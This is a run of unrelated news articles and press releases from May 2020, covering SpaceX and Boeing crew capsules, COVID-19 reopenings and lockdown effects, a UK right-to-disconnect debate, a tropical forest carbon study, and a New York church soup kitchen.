NASAs commercial crew effort builds on industrys space station shipments, now in the eighth year. SpaceX led the field with its original Dragon cargo capsules. Musks California-based company was also first out the gate with its souped-up, tricked-out Dragon crew capsule.

Crew Dragon made its debut early last year, launching successfully to the space station with a test dummy named Ripley after the Alien films' hardcore heroine. But the next month, the capsule exploded on the engine test stand at Cape Canaveral, a monumental setback.

Boeings Starliner capsule made its premiere last December with Rosie the mannequin, but ended up in the wrong orbit. Boeing will repeat the demo this fall, on its own dime, before putting Ferguson and the others on board.

Wayne Hale, a retired space shuttle flight director and program manager who serves on the NASA Advisory Council, views SpaceXs upcoming astronaut flight as an experiment with lessons carrying over to Artemis, NASAs new-generation, moon-landing effort.

Hale and others contend SpaceX and Boeing could be flying astronauts by now if Congress had provided more funding early on. The contracts with NASA are worth billions. NASA's inspector general has estimated the per-seat cost for SpaceX at $55 million, while the price of a Russian Soyuz seat has averaged $80 million in recent years. Boeing's Starliner will top that: an estimated $90 million a pop.

An earlier NASA test pilot, Robert Crippen, wishes at least one space shuttle had kept flying until a replacement was ready. The longest previous hiatus between astronaut launches stretched six years  from Apollo-Soyuz in 1975 to the shuttles debut in 1981 with Crippen and John Young.

Crippen also wishes the shuttles replacement was more futuristic-looking and landed on a runway.

The capsule has the familiar cone shape, but inside touchscreens replace the customary, countless switches. The walls are gleaming white, not dull gray. Theres even a curtained-off toilet.

It has built-in escape engines designed to fling the capsule off the rocket in an emergency, from the time Hurley and Behnken strap in until they reach orbit.

This crew will have a good escape system, Crippen said. John and I had our ejection seats, but they wouldnt have done much for us on liftoff," sending them straight through the rockets' trail of fire.

A capsule is generally simpler and thus safer than a winged spacecraft like the shuttle, Hurley and Behnken noted. In terms of launch power, the relatively small Falcon 9 has far less than the space shuttle did, another layer of safety.

But its still just the second flight of the crew capsule, and the statistics will tell you thats riskier than the 15th flight or 20th flight of the vehicle, said Hurley, a former fighter pilot.

At the suggestion of its technicians, SpaceX added photos of Hurley and Behnken to every work order as a constant reminder that lives  not just freight  are at stake.

I dont think I need to remind my employees how important this is, Shotwell, the company president, said. They remind themselves.

Shoot for the stars: 11 things you didnt know about applying to be a NASA astronaut

The Associated Press Health and Science Department receives support from the Howard Hughes Medical Institutes Department of Science Education. The AP is solely responsible for all content.

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Advocates argue a right to disconnect law is needed to protect the mental health of a new generation of home workers. (Getty)

Its a situation many of us find ourselves in every day. Technically, you are supposed to start work at 8am and clock off nine hours later. But more often than not, you find yourself answering emails, texts and WhatsApp messages from bosses and colleagues as you get ready for bed.

It often feels like the working day never ends, particularly when youre working from home. When your work environment is your home, its hard to stop working without a change of scenery  and many people feel pressured to be contactable and seen as on it when working remotely.

Sometimes, sending a quick out-of-hours email can resolve a problem quickly, allowing us to finally switch off and relax. But putting extra hours in every day can quickly lead to problems such as stress, anxiety and burnout as we spend more time at our desks.

Working from home amid the coronavirus outbreak means the average Brit is putting in an extra 28 hours of overtime a month, according to a survey of 2,000 people by LinkedIn and the Mental Health Foundation.

READ MORE: Coronavirus: Why it's easy to burnout during lockdown

Earlier this year, Labour MP Rebecca Long-Bailey proposed workers should have a right to disconnect from work, to avoid risking the stress, anxiety and burnout associated with being constantly connected. Its something the French have already introduced, but no such law exists in the UK. So is it something we should be considering?

Advocates argue a right to disconnect law is needed to protect the mental health of a new generation of home workers, whilst also enabling companies to fulfil their duty of care to staff and not be exposed.

In 2016, French employees won the legal right to avoid work emails outside working hours when the so-called "right to disconnect" law was introduced. Advocates of the move said employees who are expected to check and reply to their emails outside of work were not being paid fairly for their overtime  and that doing so carried a risk of stress, burnout and relationship problems.

Story continues

A similar law in the UK would require employees to disconnect from their work devices and networks when theyre not working, which would avoid the blurring of personal and professional lives, as the office 9 to 5 grows out of fashion.

Under UK employment law, employers have a duty of care to protect the health and wellbeing of staff. This will become increasingly challenging if more people are working at home, says Emma Swan, head of commercial employment law at Forbes Solicitors.

The pressures of remote working, home-schooling and the current health and economic challenges could significantly impact peoples mental wellbeing and it can be difficult for employers to spot the signs of this without regular face-to-face contact, she adds.

READ MORE: Coronavirus: How to set yourself a routine when working from home

A right to disconnect law would go some way to stopping people working in their free time when they shouldnt be. This needs to be carefully balanced with employers ability to offer flexible working from home around the current challenges.

However, a right to disconnect law would be difficult to introduce. Policymakers would need to consider the practicalities of employees continuing to work offline outside of working hours, even though they are supposed to be disconnected. For some, not being able to access emails out of working hours may lead to stress  particularly if they cant address a problem that crops up.

While a right to disconnect would preserve non-work time for employees, itd probably require employers to monitor what staff do during this time, says Daniel Milnes, a governance and information law partner at Forbes Solicitors. Such monitoring does not require employee consent as it would be associated with workplace health and safety  a category the right to disconnect falls into.

The French law first applied to home-workers and then to all employees in businesses with over 50 staff, Miles says. Debate has already started about whether an employee who has got home after a day working in an office or travelling is any less deserving of protection than someone who has worked the same hours from home, he explains.

READ MORE: Coronavirus: Will busyness stop being status symbol post-COVID-19

Rather than a right to work from home, it could be more practical to allow employees the right to work flexibly. Moreover, this should be something that is actively encouraged by employers, rather than agreed to through gritted teeth.

There are already Flexible Working Regulations in existence. Adapting these would be more practical for everyone, rather than trying to pass two very new and untested laws, Swan says. This could help companies and their staff to better blend workplace and remote working, proving beneficial to employee health and wellbeing, and how companies support their employees with maintaining a work-life balance.
Pa. Gov. Tom Wolf will be joined by Secretary of Health Dr. Rachel Levine and Pennsylvania Emergency Management Agency Director Randy Padfield to discuss the states latest COVID-19 updates on Friday afternoon.

Wolf is expected to reveal the next counties that will move to the yellow phase of his coronavirus reopening plan, and its also possible that he will move the first counties into the green phase, as well. The briefing is scheduled for 4 p.m. and will be streamed on the governors website.

Live updates will also be available at pennlive.com/coronavirus.

Adams, Beaver, Carbon, Columbia, Cumberland, Juniata, Mifflin, Perry, Susquehanna, Wyoming, Wayne, and York counties all moved to the yellow phase as of 12:01 a.m., bringing the statewide total in that phase to 49. Only 18 remain in the red phase, otherwise known as the complete stay at home order.

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How we respond in times of hardship could really make a difference in how we come out at the other end. Brokers particularly have an opportunity now to proactively demonstrate empathy and educate their clients on some of these issues while reassuring them that they have not been discriminated against.

Post COVID-19, I see an increased role of technology in the way we will conduct business and relate with customers. Herein lies the opportunity for those players who are adaptable, flexible and future driven.

Ajayis client-focused and pro-innovation response to the pandemic is mirrored across the industry, which has seen many large insurers such as Suncorp, HCF and Zurich bolster their digital claims processes and offer more telehealth support to clients. During challenging times like these, Ajayi says hes proud to see the industry move quickly to provide relief.

Its also good to see some industry wide measures that have been announced by insurers to alleviate the pressure for insured businesses including deferred premium payments, refunds on unused portions of premiums for travel insurance or businesses having to cancel policies midstream while waiving any cancellation or administration fees, Ajayi said.

But the pandemic came at a challenging time  the insurance sector is still reeling from the fallout of the disastrous bushfire season that saw 1,600 homes destroyed and more than 5,000 insurance claims submitted, according to the Insurance Council of Australia (ICA).

Having just come out of a significant bushfire crisis in Australia where insurers were outstanding in their response, the coronavirus follow up is, to say the least, unfortunate. I believe the biggest challenge facing the industry now is COVID-19, Ajayi said.

According to Ajayi, flow on challenges from both the bushfire season and now the pandemic include constraining reinsurance appetite, business continuity issues, declining investment returns, a drop in gross written premiums due to decreasing demand for certain covers, and policy cancellations.

Much more than this could be reputational damage, as almost all but a few policies carry pandemic exclusions relating to losses caused by diseases notifiable under the Quarantine Act or Bio Security Act 2015, he said.

Managing reputational damage to the industry is critical right now, as global media outlets turn the spotlight on insurers to scrutinize their responses to the pandemic. Unfortunately, for Ajayi, he says the industry will remain misjudged during these grand events.

While the mechanism of insurance was never designed to, nor should it, respond to every conceivable risk exposure, the industry stands to be misjudged by consumers and commentators as not living up to its responsibilities when the world needs them most, he said.

Ajayi, who fell into the insurance industry after receiving an unsolicited admission letter to study at Nigerias University of Lagos, says that depth of knowledge in the field of insurance is a quality that will keep clients loyal to your business  an important strategy during times of uncertainty.

Over these many years, I have come to be fully persuaded that the depth of what you know and the value that you add to others (employees, customers and suppliers alike) will make you stand out from the competitors, he said.

Apart from his competitive strategy, what sets Megalines Insurance and Risk Advisors out from the crowd, is the companys investment in technology  an important resource during the pandemic.

I believe weve always been steps ahead of the industry standard when it comes to our tech capability. So, for us at Megalines, it [the pandemic] was an opportunity to level up even more by increasing client touch points through automated text messages, push notifications on the Megalines App, 24/7 presence with our web chatbot, he explained.

We created an insurance guideline to some of the FAQs and tips around the subject of insurance and COVID-19 which was made available to all of our clients and placed on our website.

He also says that making personal phone calls to clients to create a conversation with a listening ear shows compassion towards their circumstances and enables them to hear more about their personal options during this time. He also communicates through online meetings via Zoom and other similar platforms.

Ajayi has also had a unique approach to managing his staff during the social restrictions  with having a progressive rotational roster seeing 50% of his staff working from home while the other 50% remain at home.

Our company has always had a well-rehearsed, robust business continuity and remote working capability, but what COVID-19 did is to get us deploying this on full scale, he said.

Initially all staff were made to work from home and progressively we now have a rotational system 50-50 where at any point in time, we have some working from home and others in the office.

But on the other hand he says this pandemic has caused a bit of a conundrum for the industry because it was spontaneous in nature, making it hard for a business to adequately prepare itself or its clients.

This may also present, for insurers, dwindling investment returns and increased regulatory spotlight, he said.

An area that could benefit from the pandemic, however, is business interruption cover  a policy that has seen lots of coverage and discussion in recent times due to the mass closures of businesses across the nation.

By way of opportunities, I believe that the pandemic may result in huge demand for more comprehensive business insurance/business interruption cover, he said. Customers will expect such insurance policies to address the many gaps revealed during the crisis. Insurers must tap into these opportunities and up their investments in innovative products and services.

Insurers should also be intent on committing to greater transparency with their clients after the pandemic eases, according to Ajayi.

Insurers now have a veritable opportunity to move into a clearer communication regime post COVID-19, he said. Transparency, clarity and simplicity more than ever before in their policy coverage wordings will no doubt reinforce trust in the idea of true, unrestrained protection in times of need.

Ajayi has enjoyed plenty of success over the years, having been named the NIBA Australian Insurance Broker of the Year in 2015. However, he says he is continuously striving to better himself, his service and his support for his clients.

I am always striving to stay and function at the cutting edge of my best game and professionalism, he said. Leading the business toward delivering greater customer experiences and accelerated growth with a best in class Net Promoter Score (NPS) will always be key for me.
San Francisco, May 22 : American public affairs and cultural magazine The Atlantic which dates to 1857 is set to lay off 68 employees, constituting about 20 per cent of the outlet's total workforce, due to the economic downturn caused by the COVID-19 pandemic.

The decision was announced by Chairman and owner of Atlantic Media, David Bradley, in a memo to staff, Deadline Hollywood reported on Thursday.

Bradley said that even though they have had "exceptional growth" in print and digital subscriptions since the introduction of a paywall in September, there has been an "overnight and and near-complete undoing of in-person events and, for now, a bracing decline in advertising." The rest 80 per cent will also have to make some sacrifice, "including pay cuts for executives and a general pay-freeze for the rest through the remainder of the year," Bradley said.

Bradley also outlined a "consumer strategy" aimed at generating most of its revenues coming from its readership.

"But, in the absence of a pandemic and global crisis, we would have found some kind of kinder contraction. Surely, we would have paused over furloughs instead of severance if we believed the positions were coming back," he said.

Bradley assured that "there is no fault on the people leaving the firm." "The particular timing is clear -- a global pandemic that has shuttered the economy generally, advertising acutely, and in-person events altogether," he said.

The departing employees will receive a severance package.
By Trend





Over the past 24 hours, Armenian armed forces have violated the ceasefire along the line of contact between Azerbaijani and Armenian troops 23 times, Trend reports referring to Azerbaijani Defense Ministry.

The Armenian armed forces were using large-caliber machine guns.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding regions.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on the withdrawal of its armed forces from Nagorno Karabakh and the surrounding regions.
R estaurants forced to close due to the lockdown have used their kitchens and staff to support the objectives of the Evening Standards Food for London Now campaign by delivering thousands of meals to Londons vulnerable.

Many of them are supporters of The Felix Project and regularly add 1 on tables over Christmas to help fund the charity StreetSmart, which has raised more than 10 million in the last 20 years to help Londons homeless.

One of the restaurants, Mildreds, launched a crowdfunding campaign at the start of our appeal which has enabled it to provide 400 meals each week from its Dalston restaurant to local London hospitals.

Sam Anstey, its managing director, said staff were determined to do what they could to help key workers. Creativity and strength is formed from our community and Im proud to be a part of such a great team, he said.

Another Streetsmart supporter providing emergency food has been Skye Gyngells restaurant Spring, located at Somerset House in central London, which has been delivering food parcels as well as meals to the Royal London Hospital.

We have been cooking a simple, wholesome, organic vegetarian meal for our local NHS hospital, she said.

Its been fun and nice to feel like we are contributing in some small way.

Adam Handlings Restaurant Group, a new recruit to StreetSmart, is preparing about 1,000 meals a week to help feed key workers in London, including those in the NHS.

Working in conjunction with The Felix Project and Open Kitchen, it is cooking and packing meals which are sent to key workers, the YMCA, shelters and food banks.

Mr Handling said: It gives us a great sense of worth when we know that we can still use our skills to make a difference to someones day.

Other restaurants that have been undertaking similar activities include Murano in Mayfair, Arabica in Borough Market, Quo Vadis in Soho and The Lighterman in Kings Cross.

In addition D&D London has provided over 2,000 free meals a day to key workers across the UK from its four outlets, which include the South Place Hotel and Radici in London, 20 Storey in Manchester and Issho in Leeds.

This effort has been led by Henry Osborn, the head chef of its catering and events company Alexander & Bjorck.

Managing director Lena Bjorck said: Im excited to see our industry rising to this challenge.

Kimberley Coke, of Streetsmart, added: It has been truly inspiring to see so many restaurants step up to the challenge of feeding NHS staff and those most in need.
Memorial Day is the unofficial start of summer, but the water parks are dry, amusement parks are shuttered and national parks are only beginning to reopen. For thousands of small businesses that rely tourism, they are hoping Americans will be ready to splurge on summer vacations once again  their livelihood depends on it. "Every day these businesses can't open is critical," said Heidi Hess, president of the Bolton Chamber Commerce in New York's Lake George resort area. Hess, owner of Candlelight Cottages, which has been in business nearly 70 years, said her phone has been ringing off the hook from callers who want to escape their houses after more than two months housebound. "It has been a challenging time, but there is still that optimism it's not a lost summer," she said.

Heidi Hess, Owner of Candlelight Cottages in Bolton New York, said customers are anxious to get out of their house after being housebound for months. Source: Heidi Bess

In the quintessential resort town of Lake George, Don Roessler is planning on opening his motel and cottages on Friday. Northward Ho, a 25-room occupancy resort, has filled eight rooms for Memorial Day weekend. Normally at this time, he's turning away customers. "I'm being very picky about taking people I don't know," he said. Occupancy is down about 30% to 35% in July and August due to the uncertainty, said Roessler. "Everything is changing daily," he said, about the rules and people's willingness to vacation again. Roessler hasn't changed his pricing, but he has changed his cancellation policy to ensure his guests can back out at any time without being penalized. He has stepped up the disinfecting of the rooms, increased signage and is requiring guests to wear masks when within 6 feet of others. Roessler said it's the uncertainty that's been so difficult, but he's trying to stay optimistic for the summer. "I can handle this summer being a bust, but not next summer," he said.

Normally at this time Don Roessler is turning away customers. Today, the 25 room occupancy motel has filled 8 rooms during the Memorial Day holiday. Source: Don Roessler, Northwood Hotel

In the Catskills region, Rocking Horse Ranch isn't one of the lucky ones able to open up in time for the Memorial Day holiday. "We are in our 10th week of closure," said owner Steve Turk. "We are hemorrhaging right now, as are most hospitalities." The ranch has been quietly gearing up for a mid- to late-June opening. Turk said he has had to lay off 300 employees. "This is an extremely painful period of our lives," he said. Turk is optimistic that things could turn around, but he estimates July and August reservations are down about 50% to 60%. When they do reopen, he plans to only operate at 50% capacity at first.

Rocking Horse Ranch in the Catskills Region is in its 10th week of closure. They plan to reopen at 50% capacity in mid to late June. Source: Rocking Horse Ranch
BANGKOK - India reported its biggest single-day spike in virus cases Friday ahead of a resumption of domestic flights after a two-month halt.

The 6,088 new cases reported in the last 24 hours took its total to 118,447. Deaths rose to 3,583 while more than 48,000 people have recovered, according to the health ministry.

Maharashtra continues to be the worst-affected state in India with more than 41,000 cases. The number of fatalities in the state rose to 1,454, the highest in the country.

India has the 11th most confirmed cases in the world. It has eased its nationwide lockdown to restart economic activities and gave states more power to set the next phase of reopenings. Some domestic flights will resume on Monday.

In other developments in the Asia-Pacific region:

 NEW SOUTH KOREA CASES: South Korea reported 20 new cases as authorities scrambled to stem transmissions as schools gradually reopen. The figures announced by the Korea Centers for Disease Control and Prevention on Friday brought the national totals to 11,142 cases and 264 deaths. South Korea has managed to stabilize infections with aggressive tracing and testing. Its schools began reopening Wednesday, though dozens in Incheon, near Seoul, sent students back home after some tested positive. More students are to return to schools next week. Meanwhile, health authorities are reviewing the possible use of Apple and Googles new smartphone technology that automatically notifies users when they have come close to infected people. But officials say it isnt clear whether the Bluetooth-based apps would meaningfully boost the countrys technology-driven fight against COVID-19, in which health workers have aggressively used cellphone data, credit-card records and surveillance videos to trace and isolate potential virus carriers.

 CHINA CONGRESS OPENS: China reported four new confirmed cases, including two in the northeastern province of Jilin that has seen Chinas latest outbreak. Another 372 people are in isolation and undergoing monitoring for being suspected cases or for testing positive without showing symptoms; 82 people remain in hospitalized. The new cases come as China opens the delayed session of its ceremonial parliament, the National Peoples Congress, which is being held largely behind closed doors in Beijing to avoid cross-infections as China seeks to avoid a second wave of cases. The country has reported 4,634 deaths among 82,971 cases.

 LI TOUTS PROGRESS: Chinese Premier Li Keqiang says China has made solid progress in fighting the coronavirus outbreak but must redouble our efforts to minimize the losses ... and fulfil the targets and tasks for economic and social development this year. In his address Friday to the annual session of Chinas ceremonial parliament, Li called the outbreak the most challenging public health emergency China has encountered since the founding of the Peoples Republic in 1949. He said China wishes to strengthen co-operation with other countries in countering the virus, and uphold the international system with the United Nations at its core and an international order based on international law. The U.S. in particular has been highly critical of Chinas handling of the initial outbreak of the virus in the city of Wuhan and suspended funding for the U.N.s World Health Organization partly over what it says is a pro-China bias.

 RESTAURANT RULES EASING: Leaders of Australias most populous state are increasing the maximum number of customers that restaurants can seat from 10 to 50 from June 1. New South Wales Premier Gladys Berejiklian said bookings will be limited to parties of 10 people when customer numbers are increased for restaurants, cafes and pubs. Restrictions vary across Australias eight states and territories, but New South Wales is set to allow the largest restaurant customer numbers. New South Wales and neighbouring Victoria have no restrictions on crossing state borders and have Australias highest numbers of COVID-19 infections. All the other states restrict their borders. So does the Northern Territory, but the Australian Capital Territory does not. Berejiklian wants the borders opened to further stimulate her states economy, but leaders of neighbouring Queensland state say that wont happen while New South Wales continues to record new infections. Australian has recorded 7,081 cases of COVID-19 and 100 patients have died.

 CRUISE SHIPS BANNED: Australia has extended its ban on cruise ship visits for a further three months until Sept. 17 in response to the coronavirus pandemic. The Australian Border Force on Friday announced the extension of the ban, which began March 27 when 28 cruise ships were in Australian waters. Any cruise ship capable of carrying more than 100 passengers is prohibited from operating in the country. Outbreaks linked to cruise ships and aged care homes have proven the most deadly in Australia.

 MALAYSIAN LEADER TESTED FOR VIRUS: Malaysian Prime Minister Muhyiddin Yassin was tested for the coronavirus on Friday after an official at a meeting he chaired on Wednesday was diagnosed with the disease. The prime ministers office said Muhyiddin, a cancer survivor, tested negative for the virus but would observe a 14-day quarantine. It said all other officials at the meeting have also been ordered to be tested and to quarantine themselves. It said strict health measures and social distancing are practiced in all meetings at the prime ministers office. Malaysia has reported 7,137 infections and 115 deaths. Most businesses have reopened since a virus lockdown in mid-March but mass gatherings and inter-state travel are still banned.

 JOURNALIST SENTENCED: A Myanmar court has sentenced a journalist to two years in prison for erroneously reporting a death from the coronavirus. The lawyer for Zaw Ye Htet, an editor with the Karen state-based news agency Dae Pyaw, said his client was charged with publishing a report that could cause fear or alarm among the public that may induce unrest. The lawyer, Myint Thu Zar Maw, said Friday his client was arrested on the same day he published the incorrect report. Zaw Ye Htets wife, Phyu Phyu Win, said by phone that her husband posted a correction online, but was arrested anyway. Rights groups charge that the government uses the broadly worded law to stifle criticism and political dissent.
Tropical forests can handle the heat, up to a point

Tropical forests face an uncertain future under climate change, but new research published in Science suggests they can continue to store large amounts of carbon in a warmer world, if countries limit greenhouse gas emissions.

The world's tropical forests store a quarter-century worth of fossil fuel emissions in their trees alone. There are fears that global heating can reduce this store if tree growth reduces or tree death increases, accelerating climate change.

An international research team measured over half a million trees in 813 forests across the tropics to assess how much carbon is stored by forests growing under different climatic conditions today.

The team reveal that tropical forests continue to store high levels of carbon under high temperatures, showing that in the long run these forests can handle heat up to an estimated threshold of 32 degrees Celsius in daytime temperature.

Yet this positive finding is only possible if forests have time to adapt, they remain intact, and if global heating is strictly limited to avoid pushing global temperatures into conditions beyond the critical threshold.

Lead author Dr Martin Sullivan, from the University of Leeds and Manchester Metropolitan University, said: "Our analysis reveals that up to a certain point of heating tropical forests are surprisingly resistant to small temperature differences. If we limit climate change they can continue to store a large amount of carbon in a warmer world.

"The 32 degree threshold highlights the critical importance of urgently cutting our emissions to avoid pushing too many forests beyond the safety zone.

"For example, if we limit global average temperatures to a 2C increase above pre-industrial levels this pushes nearly three-quarters of tropical forests above the heat threshold we identified. Any further increases in temperature will lead to rapid losses of forest carbon."

Forests release carbon dioxide into the atmosphere when the amount of carbon gained by tree growth is less than that lost through tree mortality and decay.

The study is the first to analyse long-term climate sensitivity based on direct observation of whole forests across the topics. The research suggests that over the long-term, temperature has the greatest effect on forest carbon stocks by reducing growth, with drought killing trees the second key factor.

The researchers conclude that tropical forests have long-term capacity to adapt to some climate change, in part because of their high biodiversity as tree species better able to tolerate new climatic conditions grow well and replace less well-adapted species over the long-term.

But maximizing this potential climate resilience depends on keeping forests intact.

Co-author Professor Beatriz Marimon from the State University of Mato Grosso in Brazil studies some of the world's hottest tropical forests in central Brazil. She noted: "Our results suggest that intact forests are able to withstand some climate change. Yet these heat-tolerant trees also face immediate threats from fire and fragmentation.

"Achieving climate adaptation means first of all protecting and connecting the forests that remain."

Professor Marimon notes the clear limits to adaptation. "The study indicates a heat threshold of 32 degrees Celsius in daytime temperature. Above this point tropical forest carbon declines more quickly with higher temperatures, regardless of which species are present.

"Each degree increase above this 32 degree threshold releases four-times as much carbon dioxide as would have been released below the threshold."

The insights into how the world's tropical forests respond to climate were only possible with decades of careful fieldwork, often in remote locations. The global team of 225 researchers combined forests observations across South America (RAINFOR), Africa (AfriTRON) and Asia (T-FORCES). In each monitoring plot the diameter of each tree and its height was used to calculate how much carbon they stored. Plots were revisited every few years to see how much carbon was being taken in, and how long it was stored before trees died.

To calculate changes in carbon storage required identifying nearly 10,000 tree species and over two million measurements of tree diameter, across 24 tropical countries. According to Professor Simon Lewis of the University of Leeds and University College London: "The amount of carbon absorbed and stored by forests is a crucial element in how the Earth responds to climate change."

"The study underlines why long-term research collaboration is essential for understanding the effects of environmental change. Scientists need to work together more than ever, as monitoring the health of our planet's great tropical forests is vital for all of us."

Cutting carbon emissions enough to keep forests within the safety zone will be very challenging. Study author Professor Oliver Phillips of the University of Leeds said: "Keeping our planet and ourselves healthy has never been more important. Right now, humanity has a unique opportunity to make the transition toward a stable climate.

"By not simply returning to 'business as usual' after the current crisis we can ensure tropical forests remain huge stores of carbon. Protecting them from climate change, deforestation and wildlife exploitation needs to be front and centre of our global push for biosecurity.

"Imagine if we take this chance to reset how we treat our Earth. We can keep our home cool enough to protect these magnificent forests - and keep all of us safer."

###

Further information:

The paper Long-term thermal sensitivity of Earth's tropical forests is published in Science 22 May 2020 (Embargo 21 May 19:00 BST/ 14:00 ET) (DOI: 10.1126/science.aaw7578)

Link to images/video (captions and credits included) : https:/ / drive. google. com/ open?id= 1ZJLFfqJfJWyfQRjD1iknLnZTrbk7Nr9u

For additional information or to arrange interviews please contact University of Leeds press officer Anna Harrison at a.harrison@leeds.ac.uk

Press release translations in Spanish, Portuguese and French available.

University of Leeds

The University of Leeds is one of the largest higher education institutions in the UK, with more than 38,000 students from more than 150 different countries, and a member of the Russell Group of research-intensive universities. The University plays a significant role in the Turing, Rosalind Franklin and Royce Institutes.

We are a top ten university for research and impact power in the UK, according to the 2014 Research Excellence Framework, and are in the top 100 of the QS World University Rankings 2020.

The University was awarded a Gold rating by the Government's Teaching Excellence Framework in 2017, recognising its 'consistently outstanding' teaching and learning provision. Twenty-six of our academics have been awarded National Teaching Fellowships - more than any other institution in England, Northern Ireland and Wales - reflecting the excellence of our teaching. http://www. leeds. ac. uk

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
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VANCOUVER, BC / ACCESSWIRE / May 21, 2020 / International Millennium Mining Corp. (TSXV:IMI) (the "Company" or "IMMC") reports that the Company has received approval from the TSX Venture Exchange (the "Exchange") to extend the closing of the non-brokered debenture financing (the "Financing"), as announced on March 31, 2020, to June 14, 2020. All terms pursuant to the Financing remain unchanged.The Company is also pleased to announce that its Annual General Meeting of Shareholders (the "AGM") will be held on Tuesday, June 30, 2020 at 10:00 AM, PDT. The physical location for the AGM will be held at the offices of the Company, with appropriate social distancing precautions in place. The Company also intends on arranging for a conference call for shareholders who wish to access the meeting virtually due to COVID-19 precautions. However, shareholders taking advantage of the virtual meeting will not be permitted to vote through the virtual connection. Shareholders are urged to vote prior to the meeting by delivering their completed form of proxy. Virtual AGM Details:Date: June 30, 2020Time: 10:00 AM, PDTParticipant Access: +1 636-492-2495 PIN: 156 059 478#The Company confirms that it is not aware of any material, undisclosed corporate developments and has no material change to report at this time.International Millennium Mining Corp. (TSX-V: IMI) is focused on the exploration and development of its Silver Peak silver-gold project in southwest Nevada. The Company's common shares trade on the Exchange under the symbol: IMI.ON BEHALF OF THE BOARD"John A. Versfelt"John A. VersfeltPresident and CEOFurther information about the Company can be found on SEDAR ( www.sedar.com) or by contacting Mr. John Versfelt, President & CEO of the Company at 604-527-8135.Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release may contain forward-looking statements including but not limited to comments regarding the timing and content of upcoming work programs and other business transactions timing. Forward-looking statements address future events and conditions and therefore, involve inherent risks and uncertainties. Actual results may differ materially from those currently anticipated in such statements.SOURCE: International Millennium Mining Corp.
Source: Xinhua| 2020-05-22 19:11:47|Editor: huaxia

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PARIS, May 22 (Xinhua) -- French voters are called to polls of the second round of municipal elections on June 28, Prime Minister Edouard Philippe announced on Friday.

The first round was held on March 15, two days before the country entered an 8-week anti-coronavirus lockdown which was gradually eased since May 11. Enditem
The line that forms Saturday mornings outside The Fathers Heart Ministries stretches farther than it used toin part because of a rising number of first-time guests at the soup kitchen in Manhattans East Village, and in part because masked patrons stand safely distant from one another.

With the highest unemployment numbers since the Great Depression, food pantries across America are experiencing an average of more than 50 percent growth in attendance, with two in every five people seeking assistance for the first time.

But also growing at ministries like The Fathers Heart is the number of volunteers who want to serve. In an era when many food pantries and soup kitchens are suspending services due to coronavirus-related precautions, the volunteers have kept the 22-year-old food program operating out of the historic brick-and-stone church building that houses it. In fact, theres a waitlist to serve there.

Churches have long played a critical role in Americas food pantry network, particularly in areas with glaring hunger needs. And amid the COVID-19 pandemic, theyre continuing to do what theyve always donenow with the help of a new wave of volunteers, particularly younger ones who find themselves home from school and work, according to Jeremy Everett, executive director of the Baylor Collaborative on Hunger and Poverty at Baylor University.

A part of our faith tradition is to love our neighbors as ourselves, Everett said. If you have a church community, and maybe some of the traditional volunteers that dont feel like its safe to volunteer, that elicits other people to step up.

Marian Hutchins is the executive director of The Fathers Heart and one of six pastors at the ministrys host church, which bears the same name. As volunteers arrive, she smiles behind a mask and welcomes them with a Good morning! and a How was your week?

In normal times, Hutchins would add a hug to her greeting, but now volunteers immediately wash their hands once they arrive and don masks and gloves. They cant serve otherwise. And in usual times, as many as 150 volunteers would descend on the church on Saturday morning to hand out food and run a full-service kitchen. But now, with social distancing requirements, only 30 volunteers are allowed at one time.

The volunteers flock in from across New York City. Some have been coming for close to a decade, like Katie Sullivan, who stumbled on The Fathers Heart in 2013 when a friend told her the soup kitchen was short on volunteers.

Image: Courtesy of The Father's Heart Ministries

I just fell in love with it immediately, said Sullivan, an anti-corruption attorney for The World Bank who now avoids the subway and walks four miles each way between her Brooklyn apartment and the church. Their focus on maintaining peoples dignity and really caring for people, and the way that they do table service, really lit up my heart.

Not only do volunteers continue to show up every Saturday, theyre also reaching into their pockets.

The Fathers Heart typically has a yearly budget of around $1 million. But Hutchins says theyve had an increase in private donations and grants from volunteers, long-time supporters, church partners, and organizations like United Way and Hope for New York. The availability of the CARES Act small business loans has also buoyed funding hopes at The Fathers Heart and pantries across the country.

While non-perishable foods like rice and canned tuna are staples of the pantry bags guests receive, Hutchins said the additional funding will help them take it up a few notches and order the kinds of fresh foods she buys for her own family, essentials like eggs, milk, grains, and meats.

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On a recent Saturday, Hutchins felt something different from the moment she woke up in her Flushing, Queens home. With all the strict protocols shed put in place, she realized, the atmosphere during the Saturday food program had become flat. City-mandated protocols had drained so much of the human contact from the operation.

To create more separation between volunteers who prepare groceries, Hutchins had moved the food pantry staging area from a tighter space in the basement to the 3,600-square-foot sanctuary, which was vacant since Sunday church services had moved online. A weekly sit-down, buffet-style breakfast was replaced by breakfast to go, where volunteers pass ready-to-eat packed food through an outside window and give guests a second bag of groceries inside the building.

A service that once beamed with hugs, handshakes, and praying hand-in-hand has been subdued to a monotonous assembly line.

Its hard with the six-foot distancing, Hutchins said. Its changed the dynamics in the sense that the guests cant stay long, they cant get close.

She felt God telling her the volunteers needed an extra boost of inspiration. So on this morning, instead of handing out cook and server assignments for their restaurant-style soup kitchen, Hutchins gathered her 30 volunteers in the high-ceiling sanctuary and opened with a Scripture reading and a prayer.

She read from Psalms 46: Be still and know I am God.

Although Hutchins, who is 64, is ordained and has served in this church for 36 years, she would not usually have this kind of spiritual component for volunteers. But in truth, she was looking for inspiration, too.

Standing at the center of the elevated alcove altar, an old wooden cross draped with red velvet cloth hanging atop, she looked out to her volunteers and prayed:

Lord, let us see and let us feel. Let us be your hands and be sensitive, be present and not just get through the safety of today but lets be present.

She finished the prayer with:

Let us be present with your knowledge and be alert to peoples needs.

Hutchins prayer was met with echoing Amen! and Hallelujah! from volunteers spread every six feet throughout the teal-walled sanctuary on white-taped floor markers.

After the prayer, some volunteers went back to prepping food pantry bags. Others assembled to-go breakfast packages full of cheerios, milk, juice boxes, granola bars, yogurt, and chicken salad. They added lollipops and Cheez-Its for kids. And, of course, individually wrapped wipes.

